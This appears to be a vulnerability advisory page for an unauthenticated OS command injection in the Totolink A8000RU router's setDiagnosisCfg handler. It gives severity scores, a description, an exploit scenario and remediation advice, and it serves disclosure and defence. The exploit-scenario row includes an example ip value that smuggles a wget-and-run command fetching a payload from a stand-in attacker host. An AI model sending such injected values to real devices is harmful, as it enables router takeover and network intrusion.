EUVD-2026-31594
GHSA-354q-fgjq-f9fc
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
A vulnerability was found in Totolink A8000RU 7.1cu.643_b20200521. This vulnerability affects the function setDiagnosisCfg of the file /cgi-bin/cstecgi.cgi of the component Web Management Interface. The manipulation of the argument ip results in os command injection. The attack can be executed remotely. The exploit has been made public and could be used.
AnalysisAI
OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attackers to execute arbitrary operating system commands via the ip parameter handled by the setDiagnosisCfg function in /cgi-bin/cstecgi.cgi. Publicly available exploit code exists, and the CVSS 4.0 score of 8.9 reflects high impact across confidentiality, integrity, and availability. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) indicates no special conditions are required - remote unauthenticated exploitation against default configurations of the Totolink A8000RU is possible. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Signals are largely aligned toward elevated risk: the CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) confirms remote, unauthenticated, low-complexity exploitation, and SSVC reports Exploitation=PoC, Automatable=yes, Technical Impact=total - meaning a working exploit is public and the bug is amenable to mass scanning/scripted attack. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker reachable to the router's web management interface - either on the LAN, via a compromised internal host, or against a device with WAN admin exposed - sends a crafted POST request to /cgi-bin/cstecgi.cgi invoking setDiagnosisCfg with shell metacharacters in the ip parameter (e.g., '8.8.8.8; wget http://attacker/x -O /tmp/x; sh /tmp/x'). Because no authentication is required and a public PoC exists on GitHub, the attacker gains arbitrary command execution as the web server user (typically root on this embedded device), enabling persistent implants, traffic interception, or pivoting into the internal network. |
| Remediation | No vendor-released patch identified at time of analysis - the references include only the vendor homepage (https://www.totolink.net/) and VulDB/EUVD/NVD entries, with no firmware update advisory. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
24 hours: Scan your network for all Totolik A8000RU devices and identify those running firmware 7.1cu.643_b20200521 or earlier; restrict external management access via firewall rules. …
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External POC / Exploit Code
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